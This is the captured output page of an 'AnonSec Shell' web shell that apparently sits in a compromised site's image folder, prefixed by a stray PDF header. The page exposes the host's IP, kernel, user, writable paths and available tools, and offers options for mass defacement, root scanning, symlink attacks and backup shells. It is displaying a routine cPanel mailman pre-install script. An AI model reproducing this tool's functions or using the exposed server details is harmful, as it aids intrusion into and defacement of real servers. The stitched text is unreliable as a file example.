%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/cpanel-mailman.preinst
#!/bin/sh

set -e

export USE_PYTHON="/usr/bin/python3"

## <asset scriplets/pre>


set -e

USER=mailman
GROUP=mailman
MAILMAN_ROOT=/usr/local/cpanel/3rdparty/mailman

# Mailman one time backup from python2 -> python3 -- we're keeping these files "just in case"
BACKUP_LOC=/var/cpanel/mailman
BACKUP_FILE="${BACKUP_LOC}/mailman-data-backup-2.1.39.tar.gz"

# Fix permissions on any existing backup artifacts from the python2 -> python3
# migration. The backup is no longer created (CPANEL-50847).
fixBackupPermissions() {
    if [ -e "$BACKUP_FILE" ]; then
        CURRENT_PERMS=$(stat -c '%a' "$BACKUP_FILE")
        if [ "$CURRENT_PERMS" != "600" ]; then
            echo "Fixing permissions on existing backup file"
            chmod 600 "$BACKUP_FILE"
        fi
    fi
}

# USE_PYTHON

checkUserGroup() {
    echo "check mailman required users"

    # These users need to exist, and the RPM should fail to install if
    # they do not.
    id nobody
    id mail

    mkdir -p ${MAILMAN_ROOT}

    # add group
    /usr/bin/getent group $GROUP >/dev/null || \
        /usr/sbin/groupadd -r $GROUP

    # add user if needed
    /usr/bin/getent passwd $USER >/dev/null || \
        /usr/sbin/useradd -r -g $GROUP -M -d ${MAILMAN_ROOT} \
            -s /usr/local/cpanel/bin/noshell \
            -c "GNU Mailing List Manager" $USER
}

checkPython() {
    echo "checking Python"

    if [ -z $USE_PYTHON ]; then
        echo "Do not know which python to use: set USE_PYTHON"
        exit 1
    fi

    if [ -x $USE_PYTHON ]; then
        echo "python: ${USE_PYTHON} ok"
        return
    fi

    test -x ${USE_PYTHON}

    return
}

checkCrontab() {
    echo "checking mailman crontab"

    ( crontab -u mailman -l >/dev/null 2>&1 && crontab -u mailman -r ) ||:
}

sanitycheckUser() {
    # should not be required
    if [ "x$(id -u mailman 2>/dev/null)" = "x" ]; then
        echo "Missing mailman user"
    fi


    # We'll make sure any existing mailman user has the right group and
    # homedir, if it's not already correct.
    mmuser=$(getent passwd mailman ||:)
    mmgrp=$(getent group mailman ||:)

    if [ "x$mmgrp" != "x" ]; then
        # Ensure that:
        # (a) the gid of the mailman group is the mailman user's primary gid
        # (b) the supplementary users in the mailman group include mailman
        if [ "$(echo $mmgrp | awk -F: '{print $3}')" != "$(echo $mmuser | awk -F: '{print $4}')" -o "x$(echo $mmgrp | awk -F: '$4 ~ /mailman/{print $4}')" = "x" ]
        then
            /usr/sbin/usermod -g $GROUP -G $GROUP $USER
        fi
    fi

    # If the mailman homedir is wrong, correct it
    if [ "x$(echo $mmuser | awk -F: '{print $6}')" != "x${MAILMAN_ROOT}" ]; then
        /usr/sbin/usermod -d ${MAILMAN_ROOT} $USER
    fi
}

runPre() {
    echo "# pre mailman"
    echo "# - fixBackupPermissions"
    fixBackupPermissions;
    echo "# - checkUserGroup"
    checkUserGroup;
    echo "# - checkPython"
    checkPython;
    echo "# - checkCrontab"
    checkCrontab;
    echo "# - sanitycheckUser"
    sanitycheckUser;
    echo "# pre mailman: done"
}

## </asset>


case "$1" in
  install)
    runPre;
    ;;
  upgrade)
    runPre;
    ;;
esac

exit 0

Anon7 - 2022
AnonSec Team